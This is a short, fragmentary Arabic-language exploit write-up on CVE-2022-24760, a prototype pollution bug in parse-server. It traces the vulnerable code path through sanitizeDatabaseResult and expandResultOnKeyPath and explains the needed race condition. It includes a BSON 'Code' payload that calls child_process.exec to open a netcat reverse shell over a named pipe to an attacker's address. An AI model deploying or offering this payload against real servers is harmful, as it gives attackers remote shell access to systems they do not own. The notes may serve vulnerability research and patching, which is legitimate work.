
تحليل تقني مفصل لـ CVE-2022-24760، وهي ثغرة من نوع تلوث النموذج الأولي في parse-server تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد عبر تسلسل BSON واستغلال حالة سباق.



https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

expandResultOnKeyPathDatabaseController.js
sanitizeDatabaseResult
-> expandResultOnKeyPath
تُستخدم sanitizeDatabaseResult عند إضافة وتحديث فئة جديدة. ومع ذلك، لكي يتم التلوث النموذجي، يجب استيفاء الشرط عندما يكون __op الخاص بـ keyUpdate ضمن ['Add', 'AddUnique', 'Remove', 'Increment']
وبالتالي، يمكن أن تكون قيم النموذج الأولي فقط array أو number


مثال على طلب مشابه:

Code، يتم إجراء serializeCode
parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762



options['evalFunctions'] -> تجاوز إلى الدالة isolateEval"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
expandResultOnKeyPath يحدث بعد إلغاء التسلسل، فمن الضروري إجراء شرط سباق (race condition) باستمرار بحيث يمكن تشغيلها عند الوصول إلى isolateEval